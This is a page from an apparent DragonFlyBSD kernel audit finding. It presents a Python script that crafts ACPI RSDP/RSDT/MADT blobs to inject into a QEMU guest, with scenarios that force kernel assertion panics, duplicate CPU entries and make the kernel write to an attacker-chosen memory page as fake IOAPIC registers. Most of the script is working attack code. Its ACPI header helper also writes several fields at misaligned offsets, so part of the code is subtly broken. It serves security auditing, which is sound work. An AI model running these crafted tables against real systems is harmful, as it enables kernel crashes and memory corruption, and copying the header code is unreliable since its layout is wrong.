⬢ DragonFlyBSD Kernel Audit
DF-5430 / gen_madt.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
gen_madt.py -- craft a minimal RSDP->RSDT->MADT chain for the DragonFlyBSD
acpi_madt.c pass-2 verification rig.

Injection model (matches sdt_probe()/madt_probe() on the stock guest):
  - kernel is booted with loader kenv  hint.acpi.0.rsdp=0x40000000
    (sys/platform/pc64/acpica/acpi_sdt.c:71 -- the hinted RSDP is accepted
    with NO signature and NO checksum validation)
  - QEMU  -device loader,file=<blob>,addr=0x40000000,force-raw=on  places
    this blob in guest RAM before firmware handoff.

Blob layout (all offsets relative to 0x40000000):
  +0x0000  RSDP  rev 0 (-> RSDT path), RsdtPhysicalAddress = +0x100
  +0x0100  RSDT  1 entry -> MADT at +0x200
  +0x0200  MADT  Address=0xFEE00000 (real QEMU LAPIC mmio), Flags=1
           + scenario entries
  +0x1000  fake IOAPIC register file (scenario 'fake_ioapic' only):
           IOWIN (+0x10) preloaded 0x00F00000 -> VER read gives npin=241

Scenarios:
  control          BSP + 2 APs + real IOAPIC          -> must boot normally
  bsp_omit         2 enabled AP entries, no BSP entry -> probe passes,
                   KKASSERT(arg->bsp_found) acpi_madt.c:375
  ioapic_overlap   2 IOAPIC entries, both GSI base 0  -> ioapic_add()
                   panic "overlapped gsi" ioapic.c:240
  fake_ioapic      IOAPIC entry Address=0x40001000 (RAM!) -> kernel maps
                   attacker-chosen phys page as device MMIO and writes to it
  dup_cpu          BSP + two entries with the SAME APIC id 1 -> phantom
                   second AP slot, SIPI to an already-running AP
"""
import struct
import sys

BASE  = 0x40000000
RSDP_OFF, RSDT_OFF, MADT_OFF, FAKE_IOAPIC_OFF = 0x0, 0x100, 0x200, 0x1000

def csum(b):
    return (-sum(b)) & 0xFF

def sdth(sig, length, rev, oem=b'DFBSD  '):
    h = bytearray(36)
    h[0:4]  = sig
    struct.pack_into('<I', h, 4, length)   # Length (filled by caller total)
    h[8]    = rev
    h[9]    = 0                            # checksum patched later
    h[10:16] = b'DFBSD '
    h[17:21] = b'PASS'
    struct.pack_into('<I', h, 21, 1)       # OemRevision
    h[25:29] = b'IACT'
    struct.pack_into('<I', h, 29, 1)       # AslCompilerRevision
    return h

def lapic(pid, apic_id, enabled=True):
    return struct.pack('<BBBBI', 0, 8, pid, apic_id, 1 if enabled else 0)

def ioapic(apic_id, addr, gsi_base):
    return struct.pack('<BBBBII', 1, 12, apic_id, 0, addr, gsi_base)

def intsrc(bus, irq, gsi, flags=0):
    return struct.pack('<BBBBIH', 2, 10, bus, irq, gsi, flags)

def build(scenario):
    madt_entries = b''
    fake_regs = None

    if scenario == 'control':
        madt_entries  = lapic(0, 0) + lapic(1, 1) + lapic(2, 2)
        madt_entries += ioapic(0, 0xFEC00000, 0)
    elif scenario == 'bsp_omit':
        # enabled non-BSP CPUs only; hardware BSP id is 0 under KVM
        madt_entries = lapic(1, 1) + lapic(2, 2)
    elif scenario == 'ioapic_overlap':
        madt_entries  = lapic(0, 0) + lapic(1, 1)
        # first is the REAL qemu ioapic (24 pins); second sits on unmapped
        # mmio (VER read -> 0xffffffff -> npin 256) but same GSI base 0
        madt_entries += ioapic(0, 0xFEC00000, 0) + ioapic(1, 0xFEC88000, 0)
    elif scenario == 'fake_ioapic':
        madt_entries  = lapic(0, 0) + lapic(1, 1)
        madt_entries += ioapic(0, BASE + FAKE_IOAPIC_OFF, 0)
        fake_regs = bytearray(0x100)
        struct.pack_into('<I', fake_regs, 0x10, 0x00F00000)  # IOWIN: VER -> npin 241
    elif scenario == 'dup_cpu':
        madt_entries = lapic(0, 0) + lapic(1, 1) + lapic(2, 1)  # id 1 twice!
    else:
        raise SystemExit('unknown scenario ' + scenario)

    madt_len = 44 + len(madt_entries)
    madt = sdth(b'APIC', madt_len, 3) + bytearray(8)
    struct.pack_into('<I', madt, 36, 0xFEE00000)   # Local Apic Address
    struct.pack_into('<I', madt, 40, 1)            # PCAT_COMPAT
    madt += madt_entries
    madt[9] = csum(madt)

    rsdt_len = 36 + 4
    rsdt = sdth(b'RSDT', rsdt_len, 1) + bytearray(4)
    struct.pack_into('<I', rsdt, 36, BASE + MADT_OFF)
    rsdt[9] = csum(rsdt)

    rsdp = bytearray(24)
    rsdp[0:8] = b'RSD PTR '
    rsdp[8] = 0                                  # v1 checksum (unchecked)
    rsdp[9:15] = b'DFBSD '
    rsdp[15] = 0                                 # Revision 0 -> RSDT path
    struct.pack_into('<I', rsdp, 16, BASE + RSDT_OFF)
    struct.pack_into('<I', rsdp, 20, 20)

    blob = bytearray(0x1100 if fake_regs else 0x300)
    blob[RSDP_OFF:RSDP_OFF + len(rsdp)] = rsdp
    blob[RSDT_OFF:RSDT_OFF + len(rsdt)] = rsdt
    blob[MADT_OFF:MADT_OFF + len(madt)] = madt
    if fake_regs is not None:
        blob[FAKE_IOAPIC_OFF:FAKE_IOAPIC_OFF + len(fake_regs)] = fake_regs
    return bytes(blob)

if __name__ == '__main__':
    out = sys.argv[2] if len(sys.argv) > 2 else '/dev/stdout'
    data = build(sys.argv[1])
    with open(out, 'wb') as f:
        f.write(data)
    sys.stderr.write('%s: %d bytes\n' % (sys.argv[1], len(data)))